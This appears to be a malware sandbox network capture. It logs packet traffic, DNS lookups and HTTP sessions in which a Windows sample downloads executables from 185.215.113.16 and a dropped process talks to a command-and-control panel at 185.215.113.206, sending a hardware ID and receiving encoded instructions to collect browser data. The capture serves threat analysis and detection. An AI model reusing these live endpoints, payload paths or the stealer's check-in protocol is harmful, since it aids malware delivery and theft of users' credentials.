Dec 16, 2024 10:38:29.880147934 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.880424976 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.881192923 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.881248951 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.881329060 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.881423950 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.882287979 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.882299900 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.882354975 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.882355928 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.883287907 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.883332968 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.883523941 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.883697987 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.884547949 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.884558916 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.884597063 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.885865927 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.885878086 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.885930061 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.885930061 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.886761904 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.886840105 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.887080908 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.887123108 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.887864113 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.887876034 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.887911081 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.887980938 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.889301062 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.889312983 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.889374971 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.890470028 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.890480995 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:29.890526056 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:29.890526056 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.026350021 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.026364088 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.026429892 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.026982069 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.026993990 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.027205944 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.027947903 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.027960062 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.028000116 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.029803991 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.029817104 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.029829979 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.029875994 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.029875994 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.030337095 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.030467033 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.031387091 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.031399965 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.031511068 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.031511068 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.031965017 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.032264948 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.032983065 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.032995939 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.033498049 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.033543110 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.033543110 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.034213066 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.034224987 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.034256935 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.035300016 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.035310984 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.035350084 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.035774946 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.036297083 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.036309004 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.036520958 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.037358999 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.037575006 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.038362980 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.038387060 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.038412094 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.038700104 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.039127111 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.039215088 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.040308952 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.040321112 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.040448904 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.040448904 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.041259050 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.041271925 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.041716099 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.041750908 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.041769028 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.041822910 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.041822910 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.042670965 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.042718887 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.043389082 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.043600082 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.043756008 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.043948889 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.044071913 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.044159889 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.046339989 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.046351910 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.046380997 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.046392918 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.046435118 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.046435118 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.046498060 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.047377110 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.047393084 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.047554970 CET	49935	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:38:30.048439026 CET	80	49935	185.215.113.16	192.168.2.9
Dec 16, 2024 10:38:30.048451900 CET	80	49935	185.215.113.16	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 10:37:05.419267893 CET	192.168.2.9	1.1.1.1	0xdd35	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:37:47.755052090 CET	192.168.2.9	1.1.1.1	0xf6c8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:37:47.755265951 CET	192.168.2.9	1.1.1.1	0x4d21	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 16, 2024 10:37:54.502227068 CET	192.168.2.9	1.1.1.1	0x5c7b	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:37:54.502603054 CET	192.168.2.9	1.1.1.1	0x1ee9	Standard query (0)	apis.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 10:36:58.929183960 CET	1.1.1.1	192.168.2.9	0x990c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 10:36:58.929183960 CET	1.1.1.1	192.168.2.9	0x990c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:37:05.651186943 CET	1.1.1.1	192.168.2.9	0xdd35	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:37:05.651186943 CET	1.1.1.1	192.168.2.9	0xdd35	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:37:47.892599106 CET	1.1.1.1	192.168.2.9	0x4d21	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 16, 2024 10:37:47.892690897 CET	1.1.1.1	192.168.2.9	0xf6c8	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:37:54.639533043 CET	1.1.1.1	192.168.2.9	0x5c7b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 10:37:54.639533043 CET	1.1.1.1	192.168.2.9	0x5c7b	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:37:54.640175104 CET	1.1.1.1	192.168.2.9	0x1ee9	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49777	185.215.113.16	80	7508	C:\Users\user\Desktop\4TPPuMwzSA.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 10:37:26.128377914 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 10:37:27.480844975 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 09:37:26 GMT Content-Type: application/octet-stream Content-Length: 2786816 Last-Modified: Mon, 16 Dec 2024 09:28:04 GMT Connection: keep-alive ETag: "675ff2a4-2a8600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 58 b2 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+X`Ui` @ @.rsrc`2@.idata 8@tzzztmlq@$:@jxlaistz ^@.taggant@+"d@
Dec 16, 2024 10:37:27.480875015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 10:37:27.480890036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 10:37:27.481031895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 10:37:27.481048107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 10:37:27.481062889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 10:37:27.481077909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 10:37:27.481179953 CET	1236	IN	Data Raw: 97 64 cd f4 af ff cf ad 38 30 ce 35 28 e6 f0 e3 9c bb ea d3 55 19 fa 93 6b 76 1c b7 fe b9 8b c1 50 e8 21 50 01 d7 4a 14 a1 af 10 de d1 1d 60 b4 05 75 b0 e3 49 6a d9 97 36 17 d3 99 06 6d 95 c2 11 62 c0 f3 af 6b c4 fb 5b 46 ad 9d 2c 40 d3 44 79 87 Data Ascii: d805(UkvP!PJ`uIj6mbk[F,@Dy:`AZ,hc0cCdS%Fk9DI8yY-CCf$E=OWr>0#N.[e#"1bY@5UWlBlJl9C-3bY
Dec 16, 2024 10:37:27.481194973 CET	1236	IN	Data Raw: 8c 63 b6 fd f3 63 b2 d1 9c 90 2d de 2e 48 bc 66 75 50 c0 d9 a7 19 1a d7 65 eb 11 ee 13 28 c2 f4 75 50 02 d4 97 08 fe f2 a4 59 44 76 13 63 f6 f3 75 04 b6 25 a8 2c e6 df 61 bf df 19 7c 48 5a bf a5 47 22 3a 2e e4 c8 6b 13 e8 a9 f4 b5 37 42 46 bd a0 Data Ascii: cc-.HfuPe(uPYDvcu%,a\|HZG":.k7BF9I24@RcN[uBNj=%y}uP~z\|yK.qi<b@?4d PAH%EQp2c<17L\}TS;\[(3`.P4lKB<
Dec 16, 2024 10:37:27.481210947 CET	1236	IN	Data Raw: 54 42 bd ee a9 20 b6 c2 48 0b 86 f4 40 8c ca 60 42 59 b8 25 84 73 12 8f 2f fe 0a 17 63 80 e0 8f 59 4b 0c 25 42 df 17 b1 86 fd 60 c3 15 3a 01 7f 45 68 e2 03 34 09 45 12 06 58 5c 12 57 f9 e5 3a bd 73 ea e6 07 fd f1 ec 44 b2 21 f5 bb d3 9c 41 f8 8e Data Ascii: TB H@`BY%s/cYK%B`:Eh4EX\W:sD!AT+DKivM\|^G%x6scRJbMRU<5rM_ZrrgOp9c6 cP2Wo3HZ6\7\|nWD9TJ3
Dec 16, 2024 10:37:27.600714922 CET	1236	IN	Data Raw: 3b 2b 6d 8a 1d 3c db b9 21 c0 d0 b0 da 5c 18 d5 31 73 cc 34 31 3c f6 c5 26 52 6a 0e 35 6b 6f e5 31 6c f4 e7 76 37 28 83 a8 7f 5e 1f 53 a9 b8 66 7c a6 dd f0 54 0a ae b5 75 5a c8 00 5c f7 e9 e7 2b 05 f0 f2 61 f9 f4 a6 f5 43 cf 84 e5 0d eb 32 55 80 Data Ascii: ;+m<!\1s41<&Rj5ko1lv7(^Sf\|TuZ\+aC2U~+aG'9868sFIHlz=8lM/N.bHChZ'a,Q/-PgLCcMW;2R+j_DEywI
Dec 16, 2024 10:37:32.395214081 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 10:37:32.837246895 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 09:37:32 GMT Content-Type: application/octet-stream Content-Length: 1854976 Last-Modified: Mon, 16 Dec 2024 09:29:36 GMT Connection: keep-alive ETag: "675ff300-1c4e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 82 2e 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg*0k@`k.@M$a$$ $h@.rsrc$x@.idata $z@ +$\|@qlmsectipP~@gcgddbmv k&@.taggant00k",@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49808	185.215.113.206	80	8088	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 10:37:39.245191097 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 10:37:40.575005054 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 10:37:40.581234932 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 37 44 36 39 32 39 32 43 43 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="hwid"37D69292CCF51660493485------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="build"stok------HIIIJDAAAAAAKECBFBAE--
Dec 16, 2024 10:37:41.031212091 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 57 46 69 4d 44 52 6d 4d 44 6b 34 4e 7a 55 31 4e 32 5a 6b 4e 6a 55 77 5a 6d 49 7a 59 7a 46 6d 4e 32 55 34 4f 54 6b 35 59 54 68 6d 4d 44 55 34 4e 44 67 77 59 32 51 30 59 57 52 6c 4f 57 49 78 5a 47 51 33 59 57 4e 68 4e 44 51 78 5a 6a 46 6c 4d 54 45 7a 59 57 55 35 5a 54 42 6a 4d 54 45 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MWFiMDRmMDk4NzU1N2ZkNjUwZmIzYzFmN2U4OTk5YThmMDU4NDgwY2Q0YWRlOWIxZGQ3YWNhNDQxZjFlMTEzYWU5ZTBjMTEwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 16, 2024 10:37:41.032499075 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="message"browsers------GHDHDGHJEBGIDGDGIJJK--
Dec 16, 2024 10:37:41.471936941 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:41 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] 